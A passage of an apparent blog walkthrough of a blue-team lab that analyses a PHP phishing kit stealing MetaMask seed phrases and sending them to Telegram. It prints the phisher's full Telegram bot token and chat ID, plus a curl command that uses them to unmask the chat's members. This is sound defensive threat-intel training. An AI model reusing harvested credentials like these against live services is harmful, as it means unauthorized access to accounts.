uncovering how it operates, the methods it uses to harvest victim data, and ultimately, who is behind this campaign. Sounds like a fun time!&lt;/p&gt;&#xA;&lt;p&gt;What are we waiting for? Let’s get started — thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;  title=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GrabThePhisher | Blue team challenge.&lt;/strong&gt;&#xA;_GrabThePhisher is a blue team lab that falls under the Threat Intel category, and will cover the following subjects…_cyberdefenders.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An attacker compromised a server and impersonated &lt;a class=&#34;link&#34; href=&#34;https://pancakeswap.finance/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://pancakeswap.finance/&lt;/a&gt;, a decentralized exchange native to BNB Chain, to host a phishing kit at &lt;a class=&#34;link&#34; href=&#34;https://apankewk.soup.xyz/mainpage.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://apankewk.soup.xyz/mainpage.php&lt;/a&gt;. The attacker set it as an open directory with the file name “pankewk.zip”.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Provided the phishing kit, you as a soc analyst are requested to analyze it and do your threat intel homework.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-which-wallet-is-used-for-asking-the-seedphrase&#34;&gt;Question 1: Which wallet is used for asking the seed phrase?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s jump right into analyzing the phishing kit! We’ll start by unzipping the challenge file and getting an overview of the contents. We already know from the scenario that the phishing kit is impersonating the &lt;em&gt;PancakeSwap&lt;/em&gt; cryptocurrency exchange_,_ and we’ll see plenty of assets spoofing this service used in the kit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1422px&#34; data-flex-grow=&#34;592&#34; height=&#34;135&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/32ffe93b970ff435a3a3b32e5a510b2e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;But the first file that we’ll start analyzing is the &lt;em&gt;index.html,&lt;/em&gt; the default landing page for the website. When we open the file, we’ll see several wallet types listed for connection:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;214px&#34; data-flex-grow=&#34;89&#34; height=&#34;896&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/f91facf3013db30a21472c9eb8e84217_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yikes! Does the phishing kit attempt to harvest credentials from all these wallet types? Let’s check into this by navigating back to the &lt;em&gt;pankewk&lt;/em&gt; directory and checking for other references to any of these services_._&lt;/p&gt;&#xA;&lt;p&gt;We’ll find only one of these wallets has its own folder — &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/MetaMask&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;MetaMask&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1422px&#34; data-flex-grow=&#34;592&#34; height=&#34;135&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/3cfcbb542ac067084067c6f470bc277b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s explore this folder and focus on the file &lt;em&gt;metamask.php&lt;/em&gt; and examine the code to see if we can find any requests for a &lt;em&gt;seed phrase&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;200px&#34; data-flex-grow=&#34;83&#34; height=&#34;772&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/8f88eff0ae7a583b7ddd95e6638a9596_MD5.png&#34; width=&#34;646&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks promising! Just below the wallet name, we can see a field asking for a &lt;em&gt;Phrase&lt;/em&gt; with some additional code_._ This confirms that we’ve found the correct wallet soliciting the seed phrase, which answers &lt;strong&gt;Question 1&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1090px&#34; data-flex-grow=&#34;454&#34; height=&#34;176&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/2f24996f6d3e9f2bb77bd874faf9e785_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-3-4&#34;&gt;Question 2, 3, &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-file-name-that-has-the-code-for-the-phishingkit&#34;&gt;What is the file name that has the code for the phishing kit?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;in-which-language-was-the-kitwritten&#34;&gt;In which language was the kit written?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-service-does-the-kit-use-to-retrieve-the-victims-machine-information&#34;&gt;What service does the kit use to retrieve the victim’s machine information?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we have discovered the correct wallet let’s take a closer look at some of the other functions in the code to answer &lt;strong&gt;Questions 2, 3, &amp;amp; 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We already discovered that &lt;em&gt;metamask.php&lt;/em&gt; contains the prompt to collect seed phrases, and can probably conclude that this is the file hosting the rest of the phishing code. To double-confirm this theory, we can look further down the code, and we’ll see some functions using the &lt;em&gt;Telegram API.&lt;/em&gt; The use of an external chat application is a red flag and confirms that we are looking at the correct file that contains the phishing functions. This answers &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;200px&#34; data-flex-grow=&#34;83&#34; height=&#34;772&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/f8d30fa1d301a5e1ec00f9b63d7302b0_MD5.png&#34; width=&#34;646&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, we need to determine which language the kit was written in. Fortunately, we have determined this already. The file has the &lt;em&gt;.php&lt;/em&gt; extension and it contains &lt;em&gt;PHP&lt;/em&gt; tags which identify &lt;em&gt;PHP&lt;/em&gt; code — so, we are looking at a kit written in &lt;em&gt;PHP&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Finally, we also need to discover what service is being used to find the victim’s device information. Let’s turn our attention to the &lt;em&gt;$request&lt;/em&gt; variable. Do you see the API request to a &lt;em&gt;sypexgeo&lt;/em&gt; endpoint? Let’s do a &lt;em&gt;Google&lt;/em&gt; search to gather more intelligence about this service.&lt;/p&gt;&#xA;&lt;p&gt;According to their website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://sypexgeo.net/en/about/#:~:text=Sypex%20Geo%20is%20a%20product,region%2C%20city%2C%20geographic%20coordinates.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sypex Geo&lt;/strong&gt; is a product for determining location by IP address, from the creators of Sypex Dumper. Having received the IP address, Sypex Geo provides information about the visitor’s location — country, region, city, geographic coordinates.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Interesting! It seems that the phishing kit leverages this service to gather geolocation data about its victims. This also confirms that this is the service we are looking for to answer &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1174px&#34; data-flex-grow=&#34;489&#34; height=&#34;161&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/f9f22ee3b70954c097606c566f8464bf_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1210px&#34; data-flex-grow=&#34;504&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/c4101e6c7a57a1b5b0998e4ac7b46341_MD5.png&#34; width=&#34;792&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1300px&#34; data-flex-grow=&#34;542&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/3cfaaa5ce23dea0a525aea0b439a0a12_MD5.png&#34; width=&#34;786&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;how-many-seed-phrases-were-already-collected&#34;&gt;How many seed phrases were already collected?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;write-down-the-seed-phrase-of-the-most-recent-phishing-incident&#34;&gt;Write down the seed phrase of the most recent phishing incident?&#xA;&lt;/h4&gt;&lt;p&gt;Remember in &lt;strong&gt;Question 2&lt;/strong&gt; that we located a potential exfiltration function using &lt;em&gt;Telegram?&lt;/em&gt; Let’s take another look at this function to see if it performs any other actions:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;200px&#34; data-flex-grow=&#34;83&#34; height=&#34;772&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/10ae011e05cbd71fb0447ce32249c0b7_MD5.png&#34; width=&#34;646&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice at the bottom of the function, after the victim inputs the content, it is also appended to a log file on the web server — &lt;em&gt;log.txt&lt;/em&gt;. Let’s follow the bread crumb trail and navigate to &lt;em&gt;pankewk/log/log.txt&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1060px&#34; data-flex-grow=&#34;441&#34; height=&#34;181&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/ce2f2d40bfb08670b9633ae551f19c5d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside the file, we’ll see three seed phrases were already collected — not good news! But now we also have the answers to &lt;strong&gt;Question 5 &amp;amp; 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1194px&#34; data-flex-grow=&#34;497&#34; height=&#34;160&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/3c8ea45e9ea0de4809196695a00b841c_MD5.png&#34; width=&#34;796&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1213px&#34; data-flex-grow=&#34;505&#34; height=&#34;158&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/0e24ef786b233c038f1bdb02c21e71af_MD5.png&#34; width=&#34;799&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-7-8-910&#34;&gt;Questions 7, 8, 9, 10:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;which-medium-had-been-used-for-credential-dumping&#34;&gt;Which medium had been used for credential dumping?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-token-for-thechannel&#34;&gt;What is the token for the channel?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-chat-id-of-the-phishers-channel&#34;&gt;What is the chat ID of the phisher’s channel?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-are-the-allies-of-the-phish-kit-developer&#34;&gt;What are the allies of the phish kit developer?&#xA;&lt;/h4&gt;&lt;p&gt;Okay, let’s return to &lt;em&gt;metamask.php&lt;/em&gt; and search for evidence to answer the next several questions!&lt;/p&gt;&#xA;&lt;p&gt;We can answer &lt;strong&gt;Question 7&lt;/strong&gt; already as we discovered the application/medium back in &lt;strong&gt;Question 2.&lt;/strong&gt; Remember that in addition to being appended to the &lt;em&gt;log.txt&lt;/em&gt;, the seed phrase credentials are also dumped to &lt;em&gt;Telegram.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The answers to &lt;strong&gt;Questions 8 &amp;amp; 9&lt;/strong&gt; are straightforward and listed as the &lt;em&gt;$token&lt;/em&gt; and &lt;em&gt;$id&lt;/em&gt; variables within the same function!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;199px&#34; data-flex-grow=&#34;83&#34; height=&#34;774&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/4e399ba1edc64111fd62365aa30dd3f2_MD5.png&#34; width=&#34;644&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 10&lt;/strong&gt;, we’ll look to the comments in the code (enclosed by the &lt;em&gt;/* */ )&lt;/em&gt; where we see a message with a username/signature in the closing. We can assume this the “ally” username of the attacker that deployed the phishing kit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/449cdcd9553a1ac4465f66e811d50ddf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1253px&#34; data-flex-grow=&#34;522&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/6bede9e48f73ea57a5b7a2024577dc96_MD5.png&#34; width=&#34;794&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1243px&#34; data-flex-grow=&#34;518&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/2f1d929500175fa1928113a9b71a9f3f_MD5.png&#34; width=&#34;793&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1232px&#34; data-flex-grow=&#34;513&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/dc0c689e56e092b13dea06e14bf70962_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11--12-what-is-the-full-name-of-the-phishactor&#34;&gt;Question 11 &amp;amp; 12: What is the full name of the Phish Actor?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have thoroughly analyzed the code of the phishing kit, let’s put all the information together, gather about the &lt;em&gt;Telegram&lt;/em&gt; channel itself, and apply some threat intelligence to get there. This should all be possible through the &lt;em&gt;Telegram API&lt;/em&gt; since we found the &lt;em&gt;channel ID&lt;/em&gt; and a &lt;em&gt;bot token&lt;/em&gt; exposed in the phishing kit code.&lt;/p&gt;&#xA;&lt;p&gt;Let’s refer to the &lt;a class=&#34;link&#34; href=&#34;https://core.telegram.org/bots/api&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Telgram&lt;/em&gt; &lt;em&gt;API documentation&lt;/em&gt;&lt;/a&gt; to determine how to call the &lt;em&gt;API&lt;/em&gt; and what methods we can try.&lt;/p&gt;&#xA;&lt;p&gt;First, we will stumble across the proper format to make the query — awesome!&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;All queries to the Telegram Bot API must be served over HTTPS and need to be presented in this form: &lt;code&gt;https://api.telegram.org/bot&amp;lt;token&amp;gt;/METHOD_NAME&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Then, after reviewing the methods, we will find the &lt;a class=&#34;link&#34; href=&#34;https://core.telegram.org/bots/api#getchat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;getChat&lt;/em&gt;&lt;/a&gt; option which can be used to retrieve full information about the chat (&lt;em&gt;ChatFullInfo.)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/9284e36466ffadbe4bc0fee7adc9e2fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://core.telegram.org/bots/api#getchat&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://core.telegram.org/bots/api#getchat&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, putting all the pieces together we need to specify our &lt;em&gt;bot token&lt;/em&gt;, &lt;em&gt;getChat&lt;/em&gt; &lt;em&gt;method&lt;/em&gt;, and &lt;em&gt;chat ID parameter&lt;/em&gt;. Let’s try this in a web browser first by making a &lt;em&gt;GET&lt;/em&gt; request using the URL below. This URL takes the information we located in &lt;strong&gt;Questions 8 &amp;amp; 9&lt;/strong&gt; and puts it into the format we discovered in the &lt;em&gt;Telegram&lt;/em&gt; docs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/63e1360f3e7272c6ccefeb9563235317_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the Telegram API in a browser.&lt;/p&gt;&#xA;&lt;p&gt;For comparison, let’s also try this same request using &lt;a class=&#34;link&#34; href=&#34;https://reqbin.com/req/c-1n4ljxb9/curl-get-request-example&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;Curl&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; from the terminal and then use &lt;a class=&#34;link&#34; href=&#34;https://github.com/jqlang/jq&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;JQ&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to parse the &lt;em&gt;JSON&lt;/em&gt; output and make it pretty.&lt;/p&gt;&#xA;&lt;p&gt;curl &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564%22&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564&#34;&lt;/a&gt; | jq&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1014px&#34; data-flex-grow=&#34;422&#34; height=&#34;284&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/4967350c6c8d035c83ccedd4978bf48a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/4967350c6c8d035c83ccedd4978bf48a_MD5_hu_e5ac7f44dfda236e.png 800w, https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/4967350c6c8d035c83ccedd4978bf48a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the Telegram API from the terminal.&lt;/p&gt;&#xA;&lt;p&gt;With either method, we’ve uncovered new information from the &lt;em&gt;API&lt;/em&gt; including the &lt;em&gt;first_name&lt;/em&gt;, &lt;em&gt;last_name&lt;/em&gt;, and &lt;em&gt;username&lt;/em&gt; fields for the members within the chat!&lt;/p&gt;&#xA;&lt;p&gt;This is the final piece of information we needed to answer the last two questions of this investigation and get us one step closer to finding the threat actor who deployed the phishing kit.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1235px&#34; data-flex-grow=&#34;514&#34; height=&#34;155&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/3b402fe5914ac25d7be8c258bf34780a_MD5.png&#34; width=&#34;798&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1257px&#34; data-flex-grow=&#34;523&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-grabthephisher-blue-team-lab-walkthrough/c42f5d15eb5617e088f2b31044d6b380_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it — mission accomplished! We’ve successfully completed our analysis of the phishing kit, determined how it harvests seed phrases, where they are sent, and how many victims have been compromised. But that’s not all! With the help of the &lt;em&gt;Telegram API&lt;/em&gt; and some exposed secrets in the phishing kit, we also uncovered more details about the threat actors themselves.&lt;/p&gt;&#xA;&lt;p&gt;With the objectives completed, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GrabThePhisher Blue Team Lab&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for hosting another great challenge! I found this exercise particularly insightful, as I’ve often wondered how these types of phishing kits work. It was a fantastic opportunity to go hands-on and explore it myself.&lt;/p&gt;&#xA;&lt;p&gt;My personal highlight was using the &lt;em&gt;Telegram API&lt;/em&gt; to pivot and gather more information than was available in the kit. This unique objective provided a great learning opportunity to explore the documentation and understand what information can be found with an exposed token.&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Wikipedia MetaMask:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/MetaMask&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/MetaMask&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sypex Geo:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sypexgeo.net/en/about/#:~:text=Sypex%20Geo%20is%20a%20product,region%2C%20city%2C%20geographic%20coordinates&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sypexgeo.net/en/about/#:~:text=Sypex%20Geo%20is%20a%20product,region%2C%20city%2C%20geographic%20coordinates&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Telegram API:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://core.telegram.org/bots/api&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://core.telegram.org/bots/api&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REQBIN (Curl):&lt;/strong&gt; &lt;a class=&#34;link&#34; 